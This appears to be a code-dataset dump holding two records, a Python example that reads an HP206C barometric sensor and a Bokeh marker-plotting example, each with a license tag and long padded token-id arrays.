WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ''' import hp206c h= hp206c.hp206c() ret=h.isAvailable() if h.OK_HP20X_DEV == ret: print("HP20x_dev is available.") else: print("HP20x_dev isn't available.") temp=h.ReadTemperature() pressure=h.ReadPressure() altitude=h.ReadAltitude() print("Temperature\t: %.2f C\nPressure\t: %.2f hPa\nAltitude\t: %.2f m" %(temp,pressure,altitude))
gpl-3.0
[ 3381, 2647, 15, 1393, 15, 1813, 2366, 199, 3, 199, 3, 598, 11750, 10542, 5679, 367, 1808, 314, 598, 11750, 446, 12377, 1377, 351, 334, 11688, 13, 1945, 7933, 5130, 1014, 921, 1544, 14, 3239, 379, 19806, 14, 957, 15, 27834, 15, 39, 11750, 13, 5281, 1377, 351, 13, 11688, 1945, 7933, 13, 80, 13, 1085, 2182, 14, 1360, 199, 3, 199, 3, 710, 598, 11750, 10542, 4907, 83, 314, 820, 20222, 605, 651, 19835, 436, 598, 11750, 19678, 14, 221, 2047, 883, 12537, 1655, 3595, 598, 11750, 10542, 2348, 26, 221, 1455, 921, 1544, 14, 731, 351, 688, 85, 816, 397, 14, 957, 15, 39, 11750, 10542, 199, 3, 199, 3, 26858, 282, 7894, 3595, 642, 3555, 31, 221, 30481, 641, 314, 21575, 83, 2348, 26, 221, 1455, 921, 10044, 14, 731, 351, 688, 85, 816, 397, 14, 957, 15, 67, 15, 71, 11750, 1038, 199, 3, 199, 3, 961, 3555, 365, 7131, 687, 314, 1952, 2033, 10175, 3555, 5313, 701, 593, 317, 422, 644, 621, 367, 1666, 379, 21025, 334, 2859, 921, 5031, 14, 957, 15, 9295, 379, 13, 21025, 15, 39, 11750, 63, 5281, 1377, 351, 63, 18635, 1165, 88, 15, 2350, 15, 4133, 15, 18635, 1165, 88, 63, 2374, 9, 199, 2344, 199, 309, 844, 199, 199, 1918, 10697, 844, 334, 13965, 9, 199, 199, 39, 11750, 10542, 367, 314, 820, 20222, 605, 651, 19835, 26, 376, 1551, 1350, 4298, 367, 18170, 598, 11750, 428, 17564, 370, 314, 820, 20222, 605, 651, 19835, 14, 199, 7384, 334, 35, 9, 6900, 221, 577, 476, 351, 473, 977, 85, 816, 397, 199, 199, 7980, 365, 11882, 10009, 12, 2867, 402, 11204, 12, 370, 1263, 4954, 12408, 282, 1331, 199, 1618, 642, 2032, 436, 4568, 3794, 1584, 334, 1589, 298, 10337, 1288, 370, 7962, 199, 262, 314, 2290, 1928, 10588, 12, 5893, 1928, 12305, 314, 4481, 199, 475, 675, 12, 1331, 12, 2811, 12, 5389, 12, 2780, 12, 11207, 12, 13473, 12, 436, 15, 269, 12743, 199, 16847, 402, 314, 2290, 12, 436, 370, 11291, 12103, 370, 12676, 314, 2290, 365, 199, 70, 13399, 370, 886, 880, 12, 5420, 370, 314, 2569, 3704, 26, 199, 199, 1918, 3432, 4248, 4245, 436, 642, 4983, 4245, 10989, 506, 5120, 315, 199, 452, 6866, 503, 13393, 12468, 402, 314, 2290, 14, 199, 199, 18061, 4141, 2281, 7049, 298, 1179, 2281, 401, 2428, 3408, 1634, 1821, 3826, 12, 7168, 1549, 199, 8947, 5177, 12, 6931, 5400, 2845, 5471, 2296, 2334, 2990, 1634, 3169, 12, 199, 38, 3061, 2381, 437, 3115, 3104, 2401, 13229, 14, 1621, 4825, 6461, 7000, 2334, 199, 5580, 4149, 1549, 5877, 8164, 6262, 7024, 2381, 1821, 13140, 12, 6736, 1549, 5010, 199, 2673, 2477, 12, 7061, 1621, 1261, 9612, 1634, 7066, 12, 7056, 1549, 7334, 12, 7043, 4442, 12, 199, 1877, 1634, 1549, 1621, 11287, 1663, 2334, 4141, 1549, 2334, 4815, 1549, 5010, 13198, 1621, 199, 18061, 4141, 14, 199, 2344, 199, 646, 20962, 11089, 67, 199, 72, 29, 20962, 11089, 67, 14, 12025, 11089, 67, 342, 199, 199, 3292, 29, 72, 14, 374, 11464, 342, 199, 692, 394, 14, 3593, 63, 18635, 1165, 56, 63, 13260, 508, 2203, 26, 272, 870, 480, 18635, 1165, 88, 63, 2374, 365, 2808, 2685, 199, 2836, 26, 272, 870, 480, 18635, 1165, 88, 63, 2374, 5712, 1133, 2808, 2685, 1362, 199, 808, 29, 72, 14, 3284, 27409, 342, 199, 21999, 29, 72, 14, 3284, 14414, 608, 342, 199, 27539, 29, 72, 14, 3284, 2439, 7951, 342, 199, 1361, 480, 27409, 60, 84, 26, 10536, 18, 70, 445, 60, 78, 14414, 608, 60, 84, 26, 10536, 18, 70, 394, 4232, 60, 78, 2439, 7951, 60, 84, 26, 10536, 18, 70, 333, 2, 2818, 808, 12, 21999, 12, 27539, 430, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 2647, 15, 1393, 15, 1813, 2366, 199, 3, 199, 3, 598, 11750, 10542, 5679, 367, 1808, 314, 598, 11750, 446, 12377, 1377, 351, 334, 11688, 13, 1945, 7933, 5130, 1014, 921, 1544, 14, 3239, 379, 19806, 14, 957, 15, 27834, 15, 39, 11750, 13, 5281, 1377, 351, 13, 11688, 1945, 7933, 13, 80, 13, 1085, 2182, 14, 1360, 199, 3, 199, 3, 710, 598, 11750, 10542, 4907, 83, 314, 820, 20222, 605, 651, 19835, 436, 598, 11750, 19678, 14, 221, 2047, 883, 12537, 1655, 3595, 598, 11750, 10542, 2348, 26, 221, 1455, 921, 1544, 14, 731, 351, 688, 85, 816, 397, 14, 957, 15, 39, 11750, 10542, 199, 3, 199, 3, 26858, 282, 7894, 3595, 642, 3555, 31, 221, 30481, 641, 314, 21575, 83, 2348, 26, 221, 1455, 921, 10044, 14, 731, 351, 688, 85, 816, 397, 14, 957, 15, 67, 15, 71, 11750, 1038, 199, 3, 199, 3, 961, 3555, 365, 7131, 687, 314, 1952, 2033, 10175, 3555, 5313, 701, 593, 317, 422, 644, 621, 367, 1666, 379, 21025, 334, 2859, 921, 5031, 14, 957, 15, 9295, 379, 13, 21025, 15, 39, 11750, 63, 5281, 1377, 351, 63, 18635, 1165, 88, 15, 2350, 15, 4133, 15, 18635, 1165, 88, 63, 2374, 9, 199, 2344, 199, 309, 844, 199, 199, 1918, 10697, 844, 334, 13965, 9, 199, 199, 39, 11750, 10542, 367, 314, 820, 20222, 605, 651, 19835, 26, 376, 1551, 1350, 4298, 367, 18170, 598, 11750, 428, 17564, 370, 314, 820, 20222, 605, 651, 19835, 14, 199, 7384, 334, 35, 9, 6900, 221, 577, 476, 351, 473, 977, 85, 816, 397, 199, 199, 7980, 365, 11882, 10009, 12, 2867, 402, 11204, 12, 370, 1263, 4954, 12408, 282, 1331, 199, 1618, 642, 2032, 436, 4568, 3794, 1584, 334, 1589, 298, 10337, 1288, 370, 7962, 199, 262, 314, 2290, 1928, 10588, 12, 5893, 1928, 12305, 314, 4481, 199, 475, 675, 12, 1331, 12, 2811, 12, 5389, 12, 2780, 12, 11207, 12, 13473, 12, 436, 15, 269, 12743, 199, 16847, 402, 314, 2290, 12, 436, 370, 11291, 12103, 370, 12676, 314, 2290, 365, 199, 70, 13399, 370, 886, 880, 12, 5420, 370, 314, 2569, 3704, 26, 199, 199, 1918, 3432, 4248, 4245, 436, 642, 4983, 4245, 10989, 506, 5120, 315, 199, 452, 6866, 503, 13393, 12468, 402, 314, 2290, 14, 199, 199, 18061, 4141, 2281, 7049, 298, 1179, 2281, 401, 2428, 3408, 1634, 1821, 3826, 12, 7168, 1549, 199, 8947, 5177, 12, 6931, 5400, 2845, 5471, 2296, 2334, 2990, 1634, 3169, 12, 199, 38, 3061, 2381, 437, 3115, 3104, 2401, 13229, 14, 1621, 4825, 6461, 7000, 2334, 199, 5580, 4149, 1549, 5877, 8164, 6262, 7024, 2381, 1821, 13140, 12, 6736, 1549, 5010, 199, 2673, 2477, 12, 7061, 1621, 1261, 9612, 1634, 7066, 12, 7056, 1549, 7334, 12, 7043, 4442, 12, 199, 1877, 1634, 1549, 1621, 11287, 1663, 2334, 4141, 1549, 2334, 4815, 1549, 5010, 13198, 1621, 199, 18061, 4141, 14, 199, 2344, 199, 646, 20962, 11089, 67, 199, 72, 29, 20962, 11089, 67, 14, 12025, 11089, 67, 342, 199, 199, 3292, 29, 72, 14, 374, 11464, 342, 199, 692, 394, 14, 3593, 63, 18635, 1165, 56, 63, 13260, 508, 2203, 26, 272, 870, 480, 18635, 1165, 88, 63, 2374, 365, 2808, 2685, 199, 2836, 26, 272, 870, 480, 18635, 1165, 88, 63, 2374, 5712, 1133, 2808, 2685, 1362, 199, 808, 29, 72, 14, 3284, 27409, 342, 199, 21999, 29, 72, 14, 3284, 14414, 608, 342, 199, 27539, 29, 72, 14, 3284, 2439, 7951, 342, 199, 1361, 480, 27409, 60, 84, 26, 10536, 18, 70, 445, 60, 78, 14414, 608, 60, 84, 26, 10536, 18, 70, 394, 4232, 60, 78, 2439, 7951, 60, 84, 26, 10536, 18, 70, 333, 2, 2818, 808, 12, 21999, 12, 27539, 430, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
xguse/bokeh
examples/plotting/file/markers.py
45
1530
from numpy.random import random from bokeh.plotting import figure, show, output_file def mscatter(p, x, y, typestr): p.scatter(x, y, marker=typestr, line_color="#6666ee", fill_color="#ee6666", fill_alpha=0.5, size=12) def mtext(p, x, y, textstr): p.text(x, y, text=[textstr], text_color="#449944", text_align="center", text_font_size="10pt") output_file("markers.html") p = figure(title="markers.py example") N = 10 mscatter(p, random(N)+2, random(N)+1, "circle") mscatter(p, random(N)+4, random(N)+1, "square") mscatter(p, random(N)+6, random(N)+1, "triangle") mscatter(p, random(N)+8, random(N)+1, "asterisk") mscatter(p, random(N)+2, random(N)+4, "circle_x") mscatter(p, random(N)+4, random(N)+4, "square_x") mscatter(p, random(N)+6, random(N)+4, "inverted_triangle") mscatter(p, random(N)+8, random(N)+4, "x") mscatter(p, random(N)+2, random(N)+7, "circle_cross") mscatter(p, random(N)+4, random(N)+7, "square_cross") mscatter(p, random(N)+6, random(N)+7, "diamond") mscatter(p, random(N)+8, random(N)+7, "cross") mtext(p, [2.5], [0.5], "circle / o") mtext(p, [4.5], [0.5], "square") mtext(p, [6.5], [0.5], "triangle") mtext(p, [8.5], [0.5], "asterisk / *") mtext(p, [2.5], [3.5], "circle_x / ox") mtext(p, [4.5], [3.5], "square_x") mtext(p, [6.5], [3.5], "inverted_triangle") mtext(p, [8.5], [3.5], "x") mtext(p, [2.5], [6.5], "circle_cross / o+") mtext(p, [4.5], [6.5], "square_cross") mtext(p, [6.5], [6.5], "diamond") mtext(p, [8.5], [6.5], "cross / +") show(p) # open a browser
bsd-3-clause
[ 504, 2680, 14, 2355, 492, 2196, 199, 199, 504, 25214, 14, 2798, 1337, 492, 9658, 12, 2498, 12, 1072, 63, 493, 199, 199, 318, 333, 13512, 8, 80, 12, 671, 12, 612, 12, 730, 495, 304, 272, 299, 14, 13512, 8, 88, 12, 612, 12, 3608, 29, 466, 495, 12, 288, 1004, 63, 2326, 13476, 6997, 1024, 401, 5554, 63, 2326, 13476, 1024, 6997, 401, 5554, 63, 4468, 29, 16, 14, 21, 12, 1568, 29, 713, 9, 199, 199, 318, 333, 505, 8, 80, 12, 671, 12, 612, 12, 1318, 495, 304, 272, 299, 14, 505, 8, 88, 12, 612, 12, 1318, 1524, 505, 495, 467, 268, 1318, 63, 2326, 13476, 1602, 1020, 1602, 401, 1318, 63, 5743, 628, 4218, 401, 1318, 63, 4246, 63, 890, 628, 709, 541, 531, 199, 199, 1199, 63, 493, 480, 16835, 14, 1360, 531, 199, 199, 80, 275, 9658, 8, 1213, 628, 16835, 14, 647, 2893, 531, 199, 199, 46, 275, 1616, 199, 199, 77, 13512, 8, 80, 12, 2196, 8, 46, 6393, 18, 12, 2196, 8, 46, 6393, 17, 12, 298, 11001, 531, 199, 77, 13512, 8, 80, 12, 2196, 8, 46, 6393, 20, 12, 2196, 8, 46, 6393, 17, 12, 298, 9646, 531, 199, 77, 13512, 8, 80, 12, 2196, 8, 46, 6393, 22, 12, 2196, 8, 46, 6393, 17, 12, 298, 21584, 531, 199, 77, 13512, 8, 80, 12, 2196, 8, 46, 6393, 24, 12, 2196, 8, 46, 6393, 17, 12, 298, 305, 6236, 1339, 531, 199, 199, 77, 13512, 8, 80, 12, 2196, 8, 46, 6393, 18, 12, 2196, 8, 46, 6393, 20, 12, 298, 11001, 63, 88, 531, 199, 77, 13512, 8, 80, 12, 2196, 8, 46, 6393, 20, 12, 2196, 8, 46, 6393, 20, 12, 298, 9646, 63, 88, 531, 199, 77, 13512, 8, 80, 12, 2196, 8, 46, 6393, 22, 12, 2196, 8, 46, 6393, 20, 12, 298, 28019, 63, 21584, 531, 199, 77, 13512, 8, 80, 12, 2196, 8, 46, 6393, 24, 12, 2196, 8, 46, 6393, 20, 12, 298, 88, 531, 199, 199, 77, 13512, 8, 80, 12, 2196, 8, 46, 6393, 18, 12, 2196, 8, 46, 6393, 23, 12, 298, 11001, 63, 7925, 531, 199, 77, 13512, 8, 80, 12, 2196, 8, 46, 6393, 20, 12, 2196, 8, 46, 6393, 23, 12, 298, 9646, 63, 7925, 531, 199, 77, 13512, 8, 80, 12, 2196, 8, 46, 6393, 22, 12, 2196, 8, 46, 6393, 23, 12, 298, 328, 24940, 531, 199, 77, 13512, 8, 80, 12, 2196, 8, 46, 6393, 24, 12, 2196, 8, 46, 6393, 23, 12, 298, 7925, 531, 199, 199, 77, 505, 8, 80, 12, 359, 18, 14, 21, 467, 359, 16, 14, 21, 467, 298, 11001, 1182, 312, 531, 199, 77, 505, 8, 80, 12, 359, 20, 14, 21, 467, 359, 16, 14, 21, 467, 298, 9646, 531, 199, 77, 505, 8, 80, 12, 359, 22, 14, 21, 467, 359, 16, 14, 21, 467, 298, 21584, 531, 199, 77, 505, 8, 80, 12, 359, 24, 14, 21, 467, 359, 16, 14, 21, 467, 298, 305, 6236, 1339, 1182, 627, 531, 199, 199, 77, 505, 8, 80, 12, 359, 18, 14, 21, 467, 359, 19, 14, 21, 467, 298, 11001, 63, 88, 1182, 312, 88, 531, 199, 77, 505, 8, 80, 12, 359, 20, 14, 21, 467, 359, 19, 14, 21, 467, 298, 9646, 63, 88, 531, 199, 77, 505, 8, 80, 12, 359, 22, 14, 21, 467, 359, 19, 14, 21, 467, 298, 28019, 63, 21584, 531, 199, 77, 505, 8, 80, 12, 359, 24, 14, 21, 467, 359, 19, 14, 21, 467, 298, 88, 531, 199, 199, 77, 505, 8, 80, 12, 359, 18, 14, 21, 467, 359, 22, 14, 21, 467, 298, 11001, 63, 7925, 1182, 312, 21425, 199, 77, 505, 8, 80, 12, 359, 20, 14, 21, 467, 359, 22, 14, 21, 467, 298, 9646, 63, 7925, 531, 199, 77, 505, 8, 80, 12, 359, 22, 14, 21, 467, 359, 22, 14, 21, 467, 298, 328, 24940, 531, 199, 77, 505, 8, 80, 12, 359, 24, 14, 21, 467, 359, 22, 14, 21, 467, 298, 7925, 1182, 435, 531, 199, 199, 2384, 8, 80, 9, 221, 327, 1551, 282, 7042, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 2680, 14, 2355, 492, 2196, 199, 199, 504, 25214, 14, 2798, 1337, 492, 9658, 12, 2498, 12, 1072, 63, 493, 199, 199, 318, 333, 13512, 8, 80, 12, 671, 12, 612, 12, 730, 495, 304, 272, 299, 14, 13512, 8, 88, 12, 612, 12, 3608, 29, 466, 495, 12, 288, 1004, 63, 2326, 13476, 6997, 1024, 401, 5554, 63, 2326, 13476, 1024, 6997, 401, 5554, 63, 4468, 29, 16, 14, 21, 12, 1568, 29, 713, 9, 199, 199, 318, 333, 505, 8, 80, 12, 671, 12, 612, 12, 1318, 495, 304, 272, 299, 14, 505, 8, 88, 12, 612, 12, 1318, 1524, 505, 495, 467, 268, 1318, 63, 2326, 13476, 1602, 1020, 1602, 401, 1318, 63, 5743, 628, 4218, 401, 1318, 63, 4246, 63, 890, 628, 709, 541, 531, 199, 199, 1199, 63, 493, 480, 16835, 14, 1360, 531, 199, 199, 80, 275, 9658, 8, 1213, 628, 16835, 14, 647, 2893, 531, 199, 199, 46, 275, 1616, 199, 199, 77, 13512, 8, 80, 12, 2196, 8, 46, 6393, 18, 12, 2196, 8, 46, 6393, 17, 12, 298, 11001, 531, 199, 77, 13512, 8, 80, 12, 2196, 8, 46, 6393, 20, 12, 2196, 8, 46, 6393, 17, 12, 298, 9646, 531, 199, 77, 13512, 8, 80, 12, 2196, 8, 46, 6393, 22, 12, 2196, 8, 46, 6393, 17, 12, 298, 21584, 531, 199, 77, 13512, 8, 80, 12, 2196, 8, 46, 6393, 24, 12, 2196, 8, 46, 6393, 17, 12, 298, 305, 6236, 1339, 531, 199, 199, 77, 13512, 8, 80, 12, 2196, 8, 46, 6393, 18, 12, 2196, 8, 46, 6393, 20, 12, 298, 11001, 63, 88, 531, 199, 77, 13512, 8, 80, 12, 2196, 8, 46, 6393, 20, 12, 2196, 8, 46, 6393, 20, 12, 298, 9646, 63, 88, 531, 199, 77, 13512, 8, 80, 12, 2196, 8, 46, 6393, 22, 12, 2196, 8, 46, 6393, 20, 12, 298, 28019, 63, 21584, 531, 199, 77, 13512, 8, 80, 12, 2196, 8, 46, 6393, 24, 12, 2196, 8, 46, 6393, 20, 12, 298, 88, 531, 199, 199, 77, 13512, 8, 80, 12, 2196, 8, 46, 6393, 18, 12, 2196, 8, 46, 6393, 23, 12, 298, 11001, 63, 7925, 531, 199, 77, 13512, 8, 80, 12, 2196, 8, 46, 6393, 20, 12, 2196, 8, 46, 6393, 23, 12, 298, 9646, 63, 7925, 531, 199, 77, 13512, 8, 80, 12, 2196, 8, 46, 6393, 22, 12, 2196, 8, 46, 6393, 23, 12, 298, 328, 24940, 531, 199, 77, 13512, 8, 80, 12, 2196, 8, 46, 6393, 24, 12, 2196, 8, 46, 6393, 23, 12, 298, 7925, 531, 199, 199, 77, 505, 8, 80, 12, 359, 18, 14, 21, 467, 359, 16, 14, 21, 467, 298, 11001, 1182, 312, 531, 199, 77, 505, 8, 80, 12, 359, 20, 14, 21, 467, 359, 16, 14, 21, 467, 298, 9646, 531, 199, 77, 505, 8, 80, 12, 359, 22, 14, 21, 467, 359, 16, 14, 21, 467, 298, 21584, 531, 199, 77, 505, 8, 80, 12, 359, 24, 14, 21, 467, 359, 16, 14, 21, 467, 298, 305, 6236, 1339, 1182, 627, 531, 199, 199, 77, 505, 8, 80, 12, 359, 18, 14, 21, 467, 359, 19, 14, 21, 467, 298, 11001, 63, 88, 1182, 312, 88, 531, 199, 77, 505, 8, 80, 12, 359, 20, 14, 21, 467, 359, 19, 14, 21, 467, 298, 9646, 63, 88, 531, 199, 77, 505, 8, 80, 12, 359, 22, 14, 21, 467, 359, 19, 14, 21, 467, 298, 28019, 63, 21584, 531, 199, 77, 505, 8, 80, 12, 359, 24, 14, 21, 467, 359, 19, 14, 21, 467, 298, 88, 531, 199, 199, 77, 505, 8, 80, 12, 359, 18, 14, 21, 467, 359, 22, 14, 21, 467, 298, 11001, 63, 7925, 1182, 312, 21425, 199, 77, 505, 8, 80, 12, 359, 20, 14, 21, 467, 359, 22, 14, 21, 467, 298, 9646, 63, 7925, 531, 199, 77, 505, 8, 80, 12, 359, 22, 14, 21, 467, 359, 22, 14, 21, 467, 298, 328, 24940, 531, 199, 77, 505, 8, 80, 12, 359, 24, 14, 21, 467, 359, 22, 14, 21, 467, 298, 7925, 1182, 435, 531, 199, 199, 2384, 8, 80, 9, 221, 327, 1551, 282, 7042, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 